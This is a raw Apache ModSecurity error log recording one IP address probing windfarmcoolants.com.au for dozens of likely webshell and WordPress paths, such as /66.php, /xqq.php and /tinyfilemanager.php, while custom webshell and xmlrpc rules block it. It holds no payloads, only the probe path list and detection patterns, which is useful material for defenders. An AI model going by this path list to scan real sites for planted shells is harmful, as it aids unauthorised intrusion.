[Mon Mar 23 18:42:51.192164 2026] [:error] [pid 57265:tid 57271] [client 65.52.65.130:16855] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "acEZK2NLjPJJkhuqCshINQAAAQQ"]
[Mon Mar 23 18:42:51.904359 2026] [:error] [pid 35165:tid 35168] [client 65.52.65.130:16793] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "acEZK86udpN6Esk7JKu-tAAAAYA"]
[Mon Mar 23 18:42:52.447687 2026] [:error] [pid 57265:tid 57281] [client 65.52.65.130:16880] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "acEZLGNLjPJJkhuqCshIOAAAAQ4"]
[Mon Mar 23 18:42:53.083197 2026] [:error] [pid 14573:tid 14597] [client 65.52.65.130:16803] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "acEZLe-oSmHn3q4_J1HO2wAAAVY"]
[Mon Mar 23 18:42:53.626199 2026] [:error] [pid 23441:tid 23511] [client 65.52.65.130:16833] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acEZLRq7S-oOqSXZEr7flwAAAIg"]
[Mon Mar 23 18:42:54.346475 2026] [:error] [pid 14573:tid 14576] [client 65.52.65.130:4057] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acEZLu-oSmHn3q4_J1HO4gAAAUE"]
[Mon Mar 23 18:42:54.889057 2026] [:error] [pid 35165:tid 35187] [client 65.52.65.130:16825] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acEZLs6udpN6Esk7JKu-wQAAAZM"]
[Mon Mar 23 18:42:55.549819 2026] [:error] [pid 14573:tid 14585] [client 65.52.65.130:16879] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acEZL--oSmHn3q4_J1HO5QAAAUo"]
[Mon Mar 23 18:42:56.973514 2026] [:error] [pid 14573:tid 14597] [client 65.52.65.130:4037] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acEZMO-oSmHn3q4_J1HO9AAAAVY"]
[Mon Mar 23 18:42:57.503689 2026] [:error] [pid 35165:tid 35180] [client 65.52.65.130:16847] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acEZMc6udpN6Esk7JKu-zgAAAYw"]
[Mon Mar 23 18:42:58.397208 2026] [:error] [pid 14573:tid 14583] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Mon Mar 23 18:42:58.648185 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:16849] [client 65.52.65.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.52.65.130, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "acEZMu-oSmHn3q4_J1HO9gAAAUw"]
[Mon Mar 23 18:42:58.651943 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Mar 23 18:42:58.906762 2026] [:error] [pid 14573:tid 14579] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/ol.php
[Mon Mar 23 18:42:59.226684 2026] [:error] [pid 14573:tid 14582] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/f6.php
[Mon Mar 23 18:43:00.173130 2026] [:error] [pid 14573:tid 14575] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Mon Mar 23 18:43:00.556652 2026] [:error] [pid 14573:tid 14594] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Mon Mar 23 18:43:00.814429 2026] [:error] [pid 14573:tid 14595] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Mon Mar 23 18:43:01.081999 2026] [:error] [pid 14573:tid 14578] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Mon Mar 23 18:43:01.343193 2026] [:error] [pid 14573:tid 14597] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Mon Mar 23 18:43:01.609468 2026] [:error] [pid 14573:tid 14596] [client 65.52.65.130:16849] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Mon Mar 23 18:43:02.139272 2026] [:error] [pid 14573:tid 14583] [client 65.52.65.130:16849] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file59.php"] [unique_id "acEZNu-oSmHn3q4_J1HPBQAAAUg"]
[Mon Mar 23 18:43:02.655511 2026] [:error] [pid 23539:tid 23571] [client 65.52.65.130:16791] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file59.php"] [unique_id "acEZNn7Dh3qWGSpIAZUjoAAAANc"]
[Mon Mar 23 18:43:03.193206 2026] [:error] [pid 35165:tid 35187] [client 65.52.65.130:16835] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file59.php"] [unique_id "acEZN86udpN6Esk7JKu-1AAAAZM"]
[Mon Mar 23 18:43:03.916937 2026] [:error] [pid 23441:tid 23527] [client 65.52.65.130:4065] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file59.php"] [unique_id "acEZNxq7S-oOqSXZEr7foAAAAJg"]
[Mon Mar 23 18:43:04.457307 2026] [:error] [pid 14573:tid 14599] [client 65.52.65.130:16834] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "acEZOO-oSmHn3q4_J1HPCAAAAVg"]
[Mon Mar 23 18:43:05.038487 2026] [:error] [pid 14573:tid 14576] [client 65.52.65.130:16806] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "acEZOe-oSmHn3q4_J1HPDAAAAUE"]
[Mon Mar 23 18:43:07.840670 2026] [:error] [pid 23539:tid 23549] [client 65.52.65.130:16805] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "acEZO37Dh3qWGSpIAZUjowAAAME"]
[Mon Mar 23 18:43:08.362646 2026] [:error] [pid 14573:tid 14594] [client 65.52.65.130:16821] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "acEZPO-oSmHn3q4_J1HPDwAAAVM"]
[Mon Mar 23 18:43:08.981964 2026] [:error] [pid 57265:tid 57274] [client 65.52.65.130:16777] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "acEZPGNLjPJJkhuqCshIaQAAAQc"]
[Mon Mar 23 18:43:09.691543 2026] [:error] [pid 23440:tid 23500] [client 65.52.65.130:4087] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "acEZPT49_8n8h_ttcUo14AAAAFg"]
[Mon Mar 23 18:43:10.410136 2026] [:error] [pid 23440:tid 23486] [client 65.52.65.130:16893] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "acEZPj49_8n8h_ttcUo14gAAAEo"]
[Mon Mar 23 18:43:10.953977 2026] [:error] [pid 23441:tid 23511] [client 65.52.65.130:4043] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "acEZPhq7S-oOqSXZEr7fowAAAIg"]
[Mon Mar 23 18:43:11.510190 2026] [:error] [pid 57265:tid 57269] [client 65.52.65.130:16771] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "acEZP2NLjPJJkhuqCshIcgAAAQI"]
[Mon Mar 23 18:43:12.071298 2026] [:error] [pid 23440:tid 23493] [client 65.52.65.130:16819] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "acEZQD49_8n8h_ttcUo15gAAAFE"]
[Mon Mar 23 18:43:12.604092 2026] [:error] [pid 35165:tid 35168] [client 65.52.65.130:16801] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "acEZQM6udpN6Esk7JKu-5wAAAYA"]
[Mon Mar 23 18:43:13.332184 2026] [:error] [pid 23441:tid 23526] [client 65.52.65.130:4066] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "acEZQRq7S-oOqSXZEr7fpgAAAJc"]
[Mon Mar 23 18:43:13.864217 2026] [:error] [pid 23539:tid 23564] [client 65.52.65.130:16814] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "acEZQX7Dh3qWGSpIAZUjrAAAANA"]
[Mon Mar 23 18:43:14.606322 2026] [:error] [pid 23439:tid 23467] [client 65.52.65.130:16786] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "acEZQqZv8XIzUKdgaMeSyAAAABI"]
[Mon Mar 23 18:43:15.763082 2026] [:error] [pid 23539:tid 23549] [client 65.52.65.130:16817] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "acEZQ37Dh3qWGSpIAZUjsAAAAME"]
[Mon Mar 23 18:43:17.200530 2026] [:error] [pid 57265:tid 57282] [client 65.52.65.130:4010] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "acEZRWNLjPJJkhuqCshIiQAAAQ8"]
[Mon Mar 23 18:43:17.825892 2026] [:error] [pid 23441:tid 23506] [client 65.52.65.130:4047] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "acEZRRq7S-oOqSXZEr7fqQAAAIM"]
[Mon Mar 23 18:43:18.445878 2026] [:error] [pid 14573:tid 14585] [client 65.52.65.130:16839] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "acEZRu-oSmHn3q4_J1HPHgAAAUo"]
[Mon Mar 23 18:43:19.348229 2026] [:error] [pid 35165:tid 35178] [client 65.52.65.130:16809] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "acEZR86udpN6Esk7JKu-7AAAAYo"]
[Mon Mar 23 18:43:19.927099 2026] [:error] [pid 35165:tid 35173] [client 65.52.65.130:16890] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "acEZR86udpN6Esk7JKu-7gAAAYU"]
[Mon Mar 23 18:43:20.630035 2026] [:error] [pid 35165:tid 35168] [client 65.52.65.130:16788] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "acEZSM6udpN6Esk7JKu-8gAAAYA"]
[Mon Mar 23 18:43:21.240781 2026] [:error] [pid 14573:tid 14599] [client 65.52.65.130:16810] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "acEZSe-oSmHn3q4_J1HPIgAAAVg"]
[Mon Mar 23 18:43:21.918003 2026] [:error] [pid 23440:tid 23484] [client 65.52.65.130:16886] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "acEZST49_8n8h_ttcUo19wAAAEg"]
[Mon Mar 23 18:43:22.477148 2026] [:error] [pid 57265:tid 57288] [client 65.52.65.130:4081] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "acEZSmNLjPJJkhuqCshIjgAAARU"]
[Mon Mar 23 18:43:23.116483 2026] [:error] [pid 14573:tid 14593] [client 65.52.65.130:16808] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "acEZS--oSmHn3q4_J1HPJAAAAVI"]
[Mon Mar 23 18:43:25.824178 2026] [:error] [pid 57265:tid 57269] [client 65.52.65.130:4084] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "acEZTWNLjPJJkhuqCshIoAAAAQI"]
[Mon Mar 23 18:43:26.328690 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:16804] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "acEZTmNLjPJJkhuqCshIowAAARY"]
[Mon Mar 23 18:43:26.862040 2026] [:error] [pid 57265:tid 57272] [client 65.52.65.130:16831] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "acEZTmNLjPJJkhuqCshIpQAAAQU"]
[Mon Mar 23 18:43:27.448705 2026] [:error] [pid 57265:tid 57285] [client 65.52.65.130:16781] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "acEZT2NLjPJJkhuqCshIqgAAARI"]
[Mon Mar 23 18:43:27.984367 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:16876] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "acEZT2NLjPJJkhuqCshIrAAAARY"]
[Mon Mar 23 18:43:28.499444 2026] [:error] [pid 23539:tid 23563] [client 65.52.65.130:16815] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "acEZUH7Dh3qWGSpIAZUjvwAAAM8"]
[Mon Mar 23 18:43:29.133028 2026] [:error] [pid 23439:tid 23460] [client 65.52.65.130:16822] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "acEZUaZv8XIzUKdgaMeS0wAAAAs"]
[Mon Mar 23 18:43:29.695742 2026] [:error] [pid 23539:tid 23561] [client 65.52.65.130:4091] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "acEZUX7Dh3qWGSpIAZUjwQAAAM0"]
[Mon Mar 23 18:43:30.227735 2026] [:error] [pid 57265:tid 57286] [client 65.52.65.130:16811] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "acEZUmNLjPJJkhuqCshIsQAAARM"]
[Mon Mar 23 18:43:30.738856 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:3993] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "acEZUmNLjPJJkhuqCshIswAAARY"]
[Mon Mar 23 18:43:31.267479 2026] [:error] [pid 23539:tid 23564] [client 65.52.65.130:4059] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "acEZU37Dh3qWGSpIAZUjwwAAANA"]
[Mon Mar 23 18:43:31.772506 2026] [:error] [pid 23539:tid 23552] [client 65.52.65.130:16892] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "acEZU37Dh3qWGSpIAZUjxQAAAMQ"]
